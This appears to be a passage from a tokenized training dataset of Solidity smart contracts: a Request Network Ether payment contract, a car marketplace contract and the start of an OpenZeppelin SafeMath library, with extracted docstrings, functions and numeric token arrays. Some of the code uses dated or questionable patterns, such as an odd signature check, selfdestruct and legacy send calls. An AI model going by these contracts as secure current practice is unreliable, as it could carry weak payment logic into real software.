pragma solidity 0.4.18; import '../core/RequestCore.sol'; import '../base/math/SafeMath.sol'; import '../base/lifecycle/Pausable.sol'; /** * @title RequestEthereum * * @dev RequestEthereum is the currency contract managing the request payed in Ethereum * * @dev Requests can be created by the Payee with createRequest() or by the payer from a request signed offchain by the payee with createQuickRequest * @dev Requests don't have extension for now */ contract RequestEthereum is Pausable { using SafeMath for uint256; // RequestCore object RequestCore public requestCore; // Ethereum available to withdraw mapping(address => uint256) public ethToWithdraw; /* * Events */ event EtherAvailableToWithdraw(bytes32 indexed requestId, address recipient, uint256 amount); /* * @dev Constructor * @param _requestCoreAddress Request Core address */ function RequestEthereum(address _requestCoreAddress) public { requestCore=RequestCore(_requestCoreAddress); } /* * @dev Function to create a request as payee * * @dev msg.sender will be the payee * * @param _payer Entity supposed to pay * @param _expectedAmount Expected amount to be received. * @param _extension NOT USED (will be use later) * @param _extensionParams NOT USED (will be use later) * @param _data Hash linking to additional data on the Request stored on IPFS * * @return Returns the id of the request */ function createRequestAsPayee(address _payer, int256 _expectedAmount, address _extension, bytes32[9] _extensionParams, string _data) external payable whenNotPaused returns(bytes32 requestId) { require(_expectedAmount>=0); require(msg.sender != _payer && _payer != 0); requestId= requestCore.createRequest.value(msg.value)(msg.sender, msg.sender, _payer, _expectedAmount, 0, _data); return requestId; } /* * @dev Function to create a request as payer * * @dev msg.sender will be the payer * * @param _payee Entity which will receive the payment * @param _expectedAmount Expected amount to be received * @param _extension NOT USED (will be use later) * @param _extensionParams NOT USED (will be use later) * @param _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals * @param _data Hash linking to additional data on the Request stored on IPFS * * @return Returns the id of the request */ function createRequestAsPayer(address _payee, int256 _expectedAmount, address _extension, bytes32[9] _extensionParams, uint256 _additionals, string _data) external payable whenNotPaused returns(bytes32 requestId) { return createAcceptAndPay(msg.sender, _payee, _expectedAmount, _extension, _extensionParams, _additionals, _data); } /* * @dev Function to broadcast and accept an offchain signed request (can be paid and additionals also) * * @dev msg.sender must be _payer * @dev the _payer can additionals * * @param _payee Entity which will receive the payment * @param _payer Entity supposed to pay * @param _expectedAmount Expected amount to be received. This amount can't be changed. * @param _extension an extension can be linked to a request and allows advanced payments conditions such as escrow. Extensions have to be whitelisted in Core NOT USED (will be use later) * @param _extensionParams Parameters for the extension. It is an array of 9 bytes32 NOT USED (will be use later) * @param _additionals amount of additionals the payer want to declare * @param v ECDSA signature parameter v. * @param r ECDSA signature parameters r. * @param s ECDSA signature parameters s. * * @return Returns the id of the request */ function broadcastSignedRequestAsPayer(address _payee, int256 _expectedAmount, address _extension, bytes32[9] _extensionParams, uint256 _additionals, string _data, uint256 _expirationDate, uint8 v, bytes32 r, bytes32 s) external payable whenNotPaused returns(bytes32) { // check expiration date require(_expirationDate >= block.timestamp); // check the signature require(checkRequestSignature(_payee, _payee, 0, _expectedAmount,_extension,_extensionParams, _data, _expirationDate, v, r, s)); return createAcceptAndPay(_payee, _payee, _expectedAmount, _extension, _extensionParams, _additionals, _data); } /* * @dev Internal function to create,accept and pay a request as Payer * * @dev msg.sender will be the payer * * @param _creator Entity which create the request * @param _payee Entity which will receive the payment * @param _expectedAmount Expected amount to be received * @param _extension NOT USED (will be use later) * @param _extensionParams NOT USED (will be use later) * @param _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals * @param _data Hash linking to additional data on the Request stored on IPFS * * @return Returns the id of the request */ function createAcceptAndPay(address _creator, address _payee, int256 _expectedAmount, address _extension, bytes32[9] _extensionParams, uint256 _additionals, string _data) internal returns(bytes32 requestId) { require(_expectedAmount>=0); require(msg.sender != _payee && _payee != 0); uint256 collectAmount = requestCore.getCollectEstimation(_expectedAmount, this, _extension); requestId = requestCore.createRequest.value(collectAmount)(_creator, _payee, msg.sender, _expectedAmount, _extension, _data); requestCore.accept(requestId); if(_additionals > 0) { requestCore.updateExpectedAmount(requestId, _additionals.toInt256Safe()); } if(msg.value-collectAmount > 0) { paymentInternal(requestId, msg.value-collectAmount); } return requestId; } // ---- INTERFACE FUNCTIONS ------------------------------------------------------------------------------------ /* * @dev Function to accept a request * * @dev msg.sender must be _payer * @dev A request can also be accepted by using directly the payment function on a request in the Created status * * @param _requestId id of the request * * @return true if the request is accepted, false otherwise */ function accept(bytes32 _requestId) external whenNotPaused condition(requestCore.getPayer(_requestId)==msg.sender && requestCore.getState(_requestId)==RequestCore.State.Created) { requestCore.accept(_requestId); } /* * @dev Function to cancel a request * * @dev msg.sender must be the _payer or the _payee. * @dev only request with balance equals to zero can be cancel * * @param _requestId id of the request * * @return true if the request is canceled */ function cancel(bytes32 _requestId) external whenNotPaused { require((requestCore.getPayer(_requestId)==msg.sender && requestCore.getState(_requestId)==RequestCore.State.Created) || (requestCore.getPayee(_requestId)==msg.sender && requestCore.getState(_requestId)!=RequestCore.State.Canceled)); // impossible to cancel a Request with a balance != 0 require(requestCore.getBalance(_requestId) == 0); requestCore.cancel(_requestId); } // ---------------------------------------------------------------------------------------- // ---- CONTRACT FUNCTIONS ------------------------------------------------------------------------------------ /* * @dev Function PAYABLE to pay in ether a request * * @dev the request must be accepted if msg.sender!=payer * @dev the request will be automatically accepted if msg.sender==payer * * @param _requestId id of the request * @param _additionals amount of additionals in wei to declare */ function paymentAction(bytes32 _requestId, uint256 _additionals) external whenNotPaused payable condition(requestCore.getState(_requestId)==RequestCore.State.Accepted || (requestCore.getState(_requestId)==RequestCore.State.Created && requestCore.getPayer(_requestId)==msg.sender)) condition(_additionals==0 || requestCore.getPayer(_requestId)==msg.sender) { // automatically accept request if(requestCore.getState(_requestId)==RequestCore.State.Created) { requestCore.accept(_requestId); } if(_additionals > 0) { requestCore.updateExpectedAmount(_requestId, _additionals.toInt256Safe()); } paymentInternal(_requestId, msg.value); } /* * @dev Function PAYABLE to pay back in ether a request to the payee * * @dev msg.sender must be _payer * @dev the request must be accepted * @dev the payback must be lower than the amount already paid for the request * * @param _requestId id of the request */ function refundAction(bytes32 _requestId) external whenNotPaused condition(requestCore.getState(_requestId)==RequestCore.State.Accepted) onlyRequestPayee(_requestId) payable { refundInternal(_requestId, msg.value); } /* * @dev Function to declare a subtract * * @dev msg.sender must be _payee * @dev the request must be accepted or created * * @param _requestId id of the request * @param _amount amount of subtract in wei to declare */ function subtractAction(bytes32 _requestId, uint256 _amount) external whenNotPaused condition(requestCore.getState(_requestId)==RequestCore.State.Accepted || requestCore.getState(_requestId)==RequestCore.State.Created) // subtract must be equal or lower than amount expected condition(requestCore.getExpectedAmount(_requestId) >= _amount.toInt256Safe()) onlyRequestPayee(_requestId) { requestCore.updateExpectedAmount(_requestId, -_amount.toInt256Safe()); } /* * @dev Function to declare an additional * * @dev msg.sender must be _payer * @dev the request must be accepted or created * * @param _requestId id of the request * @param _amount amount of additional in wei to declare */ function additionalAction(bytes32 _requestId, uint256 _amount) external whenNotPaused condition(requestCore.getState(_requestId)==RequestCore.State.Accepted || requestCore.getState(_requestId)==RequestCore.State.Created) onlyRequestPayer(_requestId) { requestCore.updateExpectedAmount(_requestId, _amount.toInt256Safe()); } /* * @dev Function to withdraw ether */ function withdraw() public { uint256 amount = ethToWithdraw[msg.sender]; ethToWithdraw[msg.sender] = 0; msg.sender.transfer(amount); } // ---------------------------------------------------------------------------------------- // ---- INTERNAL FUNCTIONS ------------------------------------------------------------------------------------ /* * @dev Function internal to manage payment declaration * * @param _requestId id of the request * @param _amount amount of payment in wei to declare * * @return true if the payment is done, false otherwise */ function paymentInternal(bytes32 _requestId, uint256 _amount) internal { requestCore.updateBalance(_requestId, _amount.toInt256Safe()); // payment done, the money is ready to withdraw by the payee fundOrderInternal(_requestId, requestCore.getPayee(_requestId), _amount); } /* * @dev Function internal to manage refund declaration * * @param _requestId id of the request * @param _amount amount of the refund in wei to declare * * @return true if the refund is done, false otherwise */ function refundInternal(bytes32 _requestId, uint256 _amount) internal { requestCore.updateBalance(_requestId, -_amount.toInt256Safe()); // payment done, the money is ready to withdraw by the payee fundOrderInternal(_requestId, requestCore.getPayer(_requestId), _amount); } /* * @dev Function internal to manage fund mouvement * * @param _requestId id of the request * @param _recipient adress where the wei has to me send to * @param _amount amount in wei to send * * @return true if the fund mouvement is done, false otherwise */ function fundOrderInternal(bytes32 _requestId, address _recipient, uint256 _amount) internal { // try to send the fund if(!_recipient.send(_amount)) { // if sendding fail, the funds are availbale to withdraw ethToWithdraw[_recipient] = ethToWithdraw[_recipient].add(_amount); // spread the word that the money is not sent but available to withdraw EtherAvailableToWithdraw(_requestId, _recipient, _amount); } } /* * @dev Function internal to calculate Keccak-256 hash of a request with specified parameters * * @param _payee Entity which will receive the payment. * @param _payer Entity supposed to pay. * @param _expectedAmount Expected amount to be received. This amount can't be changed. * @param _extension extension of the request. * @param _extensionParams Parameters for the extension. * * @return Keccak-256 hash of a request */ function getRequestHash(address _payee, address _payer, int256 _expectedAmount, address _extension, bytes32[9] _extensionParams, string _data, uint256 _expirationDate) internal view returns(bytes32) { return keccak256(this,_payee,_payer,_expectedAmount,_extension,_extensionParams,_data,_expirationDate); } /* * @dev Verifies that a hash signature is valid. 0x style * @param signer address of signer. * @param hash Signed Keccak-256 hash. * @param v ECDSA signature parameter v. * @param r ECDSA signature parameters r. * @param s ECDSA signature parameters s. * @return Validity of order signature. */ function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } function checkRequestSignature( address signer, address payee, address payer, int256 expectedAmount, address extension, bytes32[9] extensionParams, string data, uint256 expirationDate, uint8 v, bytes32 r, bytes32 s) public view returns (bool) { bytes32 hash = getRequestHash(payee,payer,expectedAmount,extension,extensionParams,data,expirationDate); return isValidSignature(signer, hash, v, r, s); } //modifier modifier condition(bool c) { require(c); _; } /* * @dev Modifier to check if msg.sender is payer * @dev Revert if msg.sender is not payer * @param _requestId id of the request */ modifier onlyRequestPayer(bytes32 _requestId) { require(requestCore.getPayer(_requestId)==msg.sender); _; } /* * @dev Modifier to check if msg.sender is payee * @dev Revert if msg.sender is not payee * @param _requestId id of the request */ modifier onlyRequestPayee(bytes32 _requestId) { require(requestCore.getPayee(_requestId)==msg.sender); _; } /* * @dev Modifier to check if msg.sender is payee or payer * @dev Revert if msg.sender is not payee or payer * @param _requestId id of the request */ modifier onlyRequestPayeeOrPayer(bytes32 _requestId) { require(requestCore.getPayee(_requestId)==msg.sender || requestCore.getPayer(_requestId)==msg.sender); _; } /* * @dev Modifier to check if request is in a specify state * @dev Revert if request not in a specify state * @param _requestId id of the request * @param _state state to check */ modifier onlyRequestState(bytes32 _requestId, RequestCore.State _state) { require(requestCore.getState(_requestId)==_state); _; } }
@dev Internal function to create,accept and pay a request as Payer @dev msg.sender will be the payer @param _creator Entity which create the request @param _payee Entity which will receive the payment @param _expectedAmount Expected amount to be received @param _extension NOT USED (will be use later) @param _extensionParams NOT USED (will be use later) @param _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals @param _data Hash linking to additional data on the Request stored on IPFS @return Returns the id of the request/
function createAcceptAndPay(address _creator, address _payee, int256 _expectedAmount, address _extension, bytes32[9] _extensionParams, uint256 _additionals, string _data) internal returns(bytes32 requestId) { require(_expectedAmount>=0); require(msg.sender != _payee && _payee != 0); uint256 collectAmount = requestCore.getCollectEstimation(_expectedAmount, this, _extension); requestId = requestCore.createRequest.value(collectAmount)(_creator, _payee, msg.sender, _expectedAmount, _extension, _data); requestCore.accept(requestId); if(_additionals > 0) { requestCore.updateExpectedAmount(requestId, _additionals.toInt256Safe()); } if(msg.value-collectAmount > 0) { paymentInternal(requestId, msg.value-collectAmount); } return requestId; }
12,971,427
[ 1, 3061, 445, 358, 752, 16, 9436, 471, 8843, 279, 590, 487, 453, 1773, 225, 1234, 18, 15330, 903, 506, 326, 293, 1773, 225, 389, 20394, 3887, 1492, 752, 326, 590, 225, 389, 10239, 1340, 3887, 1492, 903, 6798, 326, 5184, 225, 389, 3825, 6275, 13219, 3844, 358, 506, 5079, 225, 389, 6447, 4269, 14988, 40, 261, 20194, 506, 999, 5137, 13, 225, 389, 6447, 1370, 4269, 14988, 40, 261, 20194, 506, 999, 5137, 13, 225, 389, 1289, 608, 1031, 9980, 10929, 326, 13219, 6275, 434, 326, 590, 2145, 1839, 2097, 6710, 635, 6534, 2719, 1031, 225, 389, 892, 2474, 27651, 358, 3312, 501, 603, 326, 1567, 4041, 603, 2971, 4931, 327, 2860, 326, 612, 434, 326, 590, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 752, 5933, 1876, 9148, 12, 2867, 389, 20394, 16, 1758, 389, 10239, 1340, 16, 509, 5034, 389, 3825, 6275, 16, 1758, 389, 6447, 16, 1731, 1578, 63, 29, 65, 389, 6447, 1370, 16, 2254, 5034, 389, 1289, 608, 1031, 16, 533, 389, 892, 13, 203, 202, 202, 7236, 203, 202, 202, 6154, 12, 3890, 1578, 14459, 13, 203, 202, 95, 203, 202, 202, 6528, 24899, 3825, 6275, 34, 33, 20, 1769, 203, 202, 202, 6528, 12, 3576, 18, 15330, 480, 389, 10239, 1340, 597, 389, 10239, 1340, 480, 374, 1769, 203, 203, 202, 202, 11890, 5034, 3274, 6275, 273, 590, 4670, 18, 588, 10808, 9122, 5115, 24899, 3825, 6275, 16, 333, 16, 389, 6447, 1769, 203, 203, 202, 202, 2293, 548, 273, 590, 4670, 18, 2640, 691, 18, 1132, 12, 14676, 6275, 21433, 67, 20394, 16, 389, 10239, 1340, 16, 1234, 18, 15330, 16, 389, 3825, 6275, 16, 389, 6447, 16, 389, 892, 1769, 203, 203, 202, 202, 2293, 4670, 18, 9436, 12, 2293, 548, 1769, 203, 203, 202, 202, 430, 24899, 1289, 608, 1031, 405, 374, 13, 288, 203, 1082, 202, 2293, 4670, 18, 2725, 6861, 6275, 12, 2293, 548, 16, 389, 1289, 608, 1031, 18, 869, 1702, 5034, 9890, 10663, 203, 202, 202, 97, 203, 202, 202, 430, 12, 3576, 18, 1132, 17, 14676, 6275, 405, 374, 13, 288, 203, 1082, 202, 9261, 3061, 12, 2293, 548, 16, 1234, 18, 1132, 17, 14676, 6275, 1769, 203, 202, 202, 97, 203, 203, 202, 202, 2463, 14459, 31, 203, 202, 97, 203, 2 ]
pragma solidity >=0.4.22 <0.6.0; import "./Utils.sol"; contract CarMarketPlace { using Utils for *; address payable public contractOwner; uint private startTime; uint private durationTime; constructor() public { contractOwner = msg.sender; startTime = now; durationTime = 2592000; //30 days } struct Car { uint id; string vin; uint price; string carInfoIpfsHash; string imageIpfsHash; address payable owner; bool purchased; } //count of cars uint public carCount = 0; // Mapping of ID to car mapping(uint => Car) public carsMap; // Mapping of vin to purchased or not mapping(string => bool) public uniqueVinMap; //Event to be triggered event CarOnSale(uint carId, string vin, uint price, string carInfoIpfsHash, string imageIpfsHash, address owner, bool purchased); //Validate input data for create car sale modifier validateSellCarRequest(string memory vin, uint price, string memory carInfoIpfsHash, string memory imageIpfsHash) { require(bytes(vin).length > 0, "VIN is invalid !!"); require(price > 100000, "Price is invalid !!"); require(bytes(carInfoIpfsHash).length > 0, "CarInfo IPFS hash is invalid !!"); require(bytes(imageIpfsHash).length > 0, "Image IPFS hash is invalid !!"); _; } //Unique vin/car validation modifier validateUniqueVin(string memory vin) { require(uniqueVinMap[vin] != true, "VIN/Car already exists !!"); _; } // This method will create or list a car for sale so that potential buyer can purchase it. // Input: // _vin - VIN of the car // _price - price of the car // _carInfoIpfsHash - hash of JSON (vin, make, model, year, type, sellerName ) stored in IPFS // _imageIpfsHash - hash of car image stored in IPFS function createCarForSale(string memory _vin, uint _price, string memory _carInfoIpfsHash, string memory _imageIpfsHash) public validateSellCarRequest(_vin, _price, _carInfoIpfsHash, _imageIpfsHash) validateUniqueVin(_vin) { //Increment car count carCount++; // Seller Creates car and puts on sale carsMap[carCount] = Car(carCount, _vin, _price, _carInfoIpfsHash, _imageIpfsHash, msg.sender, false); //Map to avoid creating duplicate cars/vins for sale uniqueVinMap[_vin] = true; //Trigger event when car is created for sale emit CarOnSale(carCount, _vin, _price, _carInfoIpfsHash, _imageIpfsHash, msg.sender, false); } event CarPurchasedFromSeller(uint carId, string vin, uint price, string carInfoIpfsHash, string imageIpfsHash, address owner, bool purchased); event sellerAndSmartContractBalanceAfterPurchase(uint sellerBalanceBefore, uint amountToSendToSeller, uint sellerBalanceAfter, uint marketPlaceSmartContractBalance); modifier validId(uint id) { require(id > 0 && id <= carCount, "Not a valid ID !!"); _; } // This method will allow the buyer to purchase the car from seller. // 95% of the price goes to the seller and remaining 5% goes to this contract // Input: // _id - ID of the car being bought function buyCarFromSeller(uint _id) public payable validId(_id) { // Retrieve the car Car memory car = carsMap[_id]; // Get the owner/seller address payable seller = car.owner; //Validate buyer is not the same as seller require(msg.sender != seller, "Invalid buyer !! Are you the seller ? "); //Validate buyer has enough balance to buy the car require(msg.sender.balance >= car.price, "Buyer does not have enough balance to purchase the car !!"); //Validate price sent in the transaction is equal to or greater than car price set by seller require(msg.value >= car.price, "Invalid price sent to buy the car !!"); //validate car is not purchased already require(!car.purchased, "Car has already been purchased by a different buyer !!"); //Update the car as purchased car.purchased = true; //Transfer ownership to Buyer car.owner = msg.sender; //re-assign the updated car carsMap[_id] = car; //Pay 95% of the total price (in wei) to seller //Pay 5% of the total price (in wei) to CarMarketPlace smart contract uint totalCarPrice = msg.value; //uint amountToSendToSmartContract = Utils._getPercentageOfTotalAmount(uint(5), uint(100), uint(totalCarPrice)); //uint amountToSendToSeller = Utils._safeMathSubtract(totalCarPrice, amountToSendToSmartContract); uint amountToSendToSeller = Utils._getPercentageOfTotalAmount(uint(95), uint(100), uint(totalCarPrice)); uint sellerBalanceBefore = seller.balance; //Transfer 95% of the price to seller seller.transfer(amountToSendToSeller); uint sellerBalanceAfter = seller.balance; //5% of the price is added to this contract's balance //We are not explicitly adding the balance since contract's function is payable and it holds all the money sent to it initially. uint marketPlaceSmartContractBalance = address(this).balance; //Trigger event when car is purchased by buyer emit CarPurchasedFromSeller(_id, car.vin, car.price, car.carInfoIpfsHash, car.imageIpfsHash, msg.sender, true); //Trigger event for seller and smartContract balance after car purchase emit sellerAndSmartContractBalanceAfterPurchase(sellerBalanceBefore, amountToSendToSeller, sellerBalanceAfter, marketPlaceSmartContractBalance); } //validate only owner can shut down marketplace (kill contract) modifier onlyOwner(address addr) { require(contractOwner == msg.sender, "Only owner can send amount !!"); _; } //Marketplace can be shut down only after 30 days modifier marketPlaceDurationCheck() { require((now - startTime) > durationTime, "Sorry, cannot shut down marketplace (kill contract) before 30 days !!"); _; } event MarketPlaceShutDown(string msg); //Contract Self Destruction Pattern //This method will allow contract owner to shut down marketplace (kill contract) only after //30 days from the marketplace was started (contract deployed). function marketPlaceShutDown() public onlyOwner(msg.sender) marketPlaceDurationCheck { //Generate event emit MarketPlaceShutDown("Car Marketplace has been shut down by the owner !!"); //Kill contract and contract money is transfered to owner. selfdestruct(contractOwner); } }
This method will allow the buyer to purchase the car from seller. 95% of the price goes to the seller and remaining 5% goes to this contract Input: _id - ID of the car being bought Retrieve the car Get the owner/sellerValidate buyer is not the same as sellerValidate buyer has enough balance to buy the carValidate price sent in the transaction is equal to or greater than car price set by sellervalidate car is not purchased alreadyUpdate the car as purchasedTransfer ownership to Buyerre-assign the updated carPay 95% of the total price (in wei) to sellerPay 5% of the total price (in wei) to CarMarketPlace smart contractuint amountToSendToSmartContract = Utils._getPercentageOfTotalAmount(uint(5), uint(100), uint(totalCarPrice));uint amountToSendToSeller = Utils._safeMathSubtract(totalCarPrice, amountToSendToSmartContract);Transfer 95% of the price to seller5% of the price is added to this contract's balanceWe are not explicitly adding the balance since contract's function is payable and it holds all the money sent to it initially.Trigger event when car is purchased by buyerTrigger event for seller and smartContract balance after car purchase
function buyCarFromSeller(uint _id) public payable validId(_id) { Car memory car = carsMap[_id]; address payable seller = car.owner; require(msg.sender != seller, "Invalid buyer !! Are you the seller ? "); require(msg.sender.balance >= car.price, "Buyer does not have enough balance to purchase the car !!"); require(msg.value >= car.price, "Invalid price sent to buy the car !!"); require(!car.purchased, "Car has already been purchased by a different buyer !!"); car.purchased = true; car.owner = msg.sender; carsMap[_id] = car; uint totalCarPrice = msg.value; uint amountToSendToSeller = Utils._getPercentageOfTotalAmount(uint(95), uint(100), uint(totalCarPrice)); uint sellerBalanceBefore = seller.balance; seller.transfer(amountToSendToSeller); uint sellerBalanceAfter = seller.balance; uint marketPlaceSmartContractBalance = address(this).balance; emit CarPurchasedFromSeller(_id, car.vin, car.price, car.carInfoIpfsHash, car.imageIpfsHash, msg.sender, true); emit sellerAndSmartContractBalanceAfterPurchase(sellerBalanceBefore, amountToSendToSeller, sellerBalanceAfter, marketPlaceSmartContractBalance); }
14,024,075
[ 1, 2503, 707, 903, 1699, 326, 27037, 358, 23701, 326, 5926, 628, 29804, 18, 16848, 9, 434, 326, 6205, 13998, 358, 326, 29804, 471, 4463, 1381, 9, 13998, 358, 333, 6835, 2741, 30, 1377, 389, 350, 300, 1599, 434, 326, 5926, 3832, 800, 9540, 10708, 326, 5926, 968, 326, 3410, 19, 1786, 749, 4270, 27037, 353, 486, 326, 1967, 487, 29804, 4270, 27037, 711, 7304, 11013, 358, 30143, 326, 5926, 4270, 6205, 3271, 316, 326, 2492, 353, 3959, 358, 578, 6802, 2353, 5926, 6205, 444, 635, 29804, 5662, 5926, 353, 486, 5405, 343, 8905, 1818, 1891, 326, 5926, 487, 5405, 343, 8905, 5912, 23178, 358, 605, 16213, 266, 17, 6145, 326, 3526, 5926, 9148, 16848, 9, 434, 326, 2078, 6205, 261, 267, 732, 77, 13, 358, 29804, 9148, 1381, 9, 434, 326, 2078, 6205, 261, 267, 732, 77, 13, 358, 23672, 3882, 278, 6029, 13706, 6835, 11890, 3844, 28878, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 30143, 16321, 1265, 22050, 12, 11890, 389, 350, 13, 1071, 8843, 429, 923, 548, 24899, 350, 13, 288, 203, 3639, 23672, 3778, 5926, 273, 276, 5913, 863, 63, 67, 350, 15533, 203, 3639, 1758, 8843, 429, 29804, 273, 5926, 18, 8443, 31, 203, 540, 203, 3639, 2583, 12, 3576, 18, 15330, 480, 29804, 16, 315, 1941, 27037, 401, 5, 12520, 1846, 326, 29804, 692, 315, 1769, 203, 540, 203, 3639, 2583, 12, 3576, 18, 15330, 18, 12296, 1545, 5926, 18, 8694, 16, 315, 38, 16213, 1552, 486, 1240, 7304, 11013, 358, 23701, 326, 5926, 401, 4442, 1769, 203, 540, 203, 3639, 2583, 12, 3576, 18, 1132, 1545, 5926, 18, 8694, 16, 315, 1941, 6205, 3271, 358, 30143, 326, 5926, 401, 4442, 1769, 203, 540, 203, 3639, 2583, 12, 5, 9815, 18, 12688, 343, 8905, 16, 315, 16321, 711, 1818, 2118, 5405, 343, 8905, 635, 279, 3775, 27037, 401, 4442, 1769, 203, 540, 203, 3639, 5926, 18, 12688, 343, 8905, 273, 638, 31, 203, 3639, 5926, 18, 8443, 273, 1234, 18, 15330, 31, 203, 540, 203, 3639, 276, 5913, 863, 63, 67, 350, 65, 273, 5926, 31, 203, 540, 203, 3639, 2254, 2078, 16321, 5147, 273, 1234, 18, 1132, 31, 203, 3639, 2254, 3844, 28878, 774, 22050, 273, 6091, 6315, 588, 16397, 951, 5269, 6275, 12, 11890, 12, 8778, 3631, 2254, 12, 6625, 3631, 2254, 12, 4963, 16321, 5147, 10019, 203, 203, 3639, 2254, 29804, 13937, 4649, 273, 29804, 18, 12296, 31, 203, 3639, 29804, 18, 13866, 12, 8949, 28878, 774, 22050, 1769, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ //-------------DEPENDENCIES--------------------------// // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's + operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's * operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. Note: this function uses a * revert opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all 